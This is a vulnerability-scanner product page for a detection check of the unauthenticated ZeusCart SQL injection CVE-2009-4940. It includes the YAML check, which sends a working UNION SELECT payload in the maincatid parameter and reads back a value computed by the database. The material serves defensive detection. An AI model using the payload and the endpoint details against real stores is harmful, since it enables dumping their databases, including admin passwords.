ZeusCart — 1 vulnerability check

noctis ships 1 vulnerability check for ZeusCart, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

ZeusCart showmaincatlanding maincatid SQL Injection

CVECVE-2009-4940
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/zeuscart/CVE-2009-4940.yaml

ZeusCart pastes the maincatid parameter of its main-category landing page (index.php?do=featured&action=showmaincatlanding), unquoted and unchecked, into an SQL query run without authentication, and prints the returned content on the page, allowing SQL injection (an attacker can read the whole database, including the administrator accounts and their passwords).

This check requests the landing page under the web root and the usual install paths with a maincatid value that appends a UNION SELECT of an expression multiplying two random numbers. The vulnerability is confirmed when the page contains the product computed by the database, which never appears in the request. No stored data is read and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/index.php?do=featured&action=showmaincatlanding&maincatid={{sc.q_union}}
  3. Parses / computes the next value with a Rhai script
  4. Checks hit_dir for ^/ → finding QoD 97: ZeusCart showmaincatlanding maincatid SQL Injection (CVE-2009-4940)

References:

Feed source — tests/vulnerabilities/zeuscart/CVE-2009-4940.yaml
# ZeusCart showmaincatlanding maincatid SQL injection — CVE-2009-4940
#
# ZeusCart (index.php?do=featured&action=showmaincatlanding, no authentication) builds
# the main-category landing page in MFeaturedItems::showMainCatLanding(), which calls
# Core_CFeaturedItems::getMaincatlandContent():
#     $maincatid = $_GET['maincatid'];
#     $sql = "SELECT b.html_content FROM category_table a INNER JOIN html_contents_table b
#             ON a.category_content_id = b.html_content_id WHERE a.category_id =".$maincatid;
# and prints the first row's html_content inside a <div id="product_tbbg"> block
# (Display_DFeaturedItems::landContent). The value is unquoted and never cast, so a
# one-column UNION SELECT is printed on the page (public exploit EDB-8829 against 2.3).
# The same unquoted concatenation is still in ZeusCart 4.0 (github.com/ZeusCart/zeuscart,
# classes/Core/CFeaturedItems.php — its FILTER_SANITIZE_STRING input filter does not stop
# a quote-free payload), so no fixed release exists.
#
# Detection (QoD 97), per candidate install dir:
#   ?do=featured&action=showmaincatlanding&maincatid=-9999 union all select
#        concat(0x4e4f43544953,a*b,0x454e44) -- -
# with random six-digit a, b. The vulnerable page shows NOCTIS<a*b>END; the product a*b
# is never in the request, so a page or honeypot that reflects the request cannot match.
# Read-only: no table is selected from and nothing is written.
#
# Better than the source NASL:
#   - the reference check dumps admin_id:admin_name:admin_password from admin_table
#     (stored credentials end up in the report; an install whose admin_table was renamed
#     or emptied is missed) — here no stored data is read;
#   - a database-computed value, not a fixed marker, is matched;
#   - "-- -" ends the query on every MySQL/MariaDB (a bare "--" needs whitespace after it
#     when more SQL follows), and the usual install directories are probed, not only the
#     detected one.
#
# Source: OpenVAS/Greenbone NVT 2010/gb_zeuscart_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.801240, GPL-2.0-only); exploit EDB-8829.
uid: aa3396ae-7d26-4156-add0-b6af3adabad9
name: "ZeusCart showmaincatlanding maincatid SQL Injection (CVE-2009-4940)"
description: |
  ZeusCart pastes the maincatid parameter of its main-category landing page
  (index.php?do=featured&action=showmaincatlanding), unquoted and unchecked, into an SQL
  query run without authentication, and prints the returned content on the page,
  allowing SQL injection (an attacker can read the whole database, including the
  administrator accounts and their passwords).

  This check requests the landing page under the web root and the usual install paths
  with a maincatid value that appends a UNION SELECT of an expression multiplying two
  random numbers. The vulnerability is confirmed when the page contains the product
  computed by the database, which never appears in the request. No stored data is read
  and nothing is written.
cves: [CVE-2009-4940]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [zeuscart, sqli, union-based, php, ecommerce]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-4940"
  - "https://www.exploit-db.com/exploits/8829"
  - "https://github.com/ZeusCart/zeuscart"
  # OpenVAS/Greenbone NASL 2010/gb_zeuscart_sql_inj_vuln.nasl (GPL-2.0-only)

steps:
  # ── Random operands, expected value and the encoded maincatid payload ─────
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      #{ want: "NOCTIS" + (a * b) + "END",
         expr: a + "*" + b,
         q_union: "-9999%20union%20all%20select%20concat(0x4e4f43544953," + a + "*" + b
                  + ",0x454e44)%20--%20-" }
    store_as: sc

  - id: init-hit
    action: set_var
    var_name: hit_dir
    var_value: ""

  # ── Per candidate install path (loop group) ───────────────────────────────
  - id: init-union-resp
    action: set_var
    var_name: union_resp
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/zeuscart", "/ZeusCart", "/cart", "/shop", "/store"]

  - id: union-probe
    action: http_request
    method: GET
    path: "{{dir}}/index.php?do=featured&action=showmaincatlanding&maincatid={{sc.q_union}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    condition: 'hit_dir == ""'
    store_as: union_resp

  - id: check-union
    action: script
    condition: 'hit_dir == ""'
    code: |
      let body = if type_of(union_resp.body) == "string" { union_resp.body } else { "" };
      if body.contains(sc.want) { if dir == "" { "/" } else { dir } } else { "" }
    store_as: hit_dir

  # ── Finding ───────────────────────────────────────────────────────────────
  - id: report
    action: match
    source: hit_dir
    pattern: "^/"
    on_match:
      finding:
        title: "ZeusCart showmaincatlanding maincatid SQL Injection (CVE-2009-4940)"
        description: "An unauthenticated main-category landing page request whose maincatid value appends a UNION SELECT multiplying two random numbers returned the product computed by the database: an attacker can read the whole database, including the administrator accounts and their passwords."
        remediation: "No ZeusCart release fixes this query: cast maincatid to an integer in getMaincatlandContent() (classes/Core/CFeaturedItems.php) and showMainCatLanding(), or remove the application or restrict access to it."
        confidence_delta: 0.67
        qod: 97
        evidence: "install dir {{hit_dir}}: index.php?do=featured&action=showmaincatlanding&maincatid=-9999 union all select concat(0x4e4f43544953,{{sc.expr}},0x454e44) -- - showed the database-computed value {{sc.want}}"
      stop: true

View these feeds on GitHub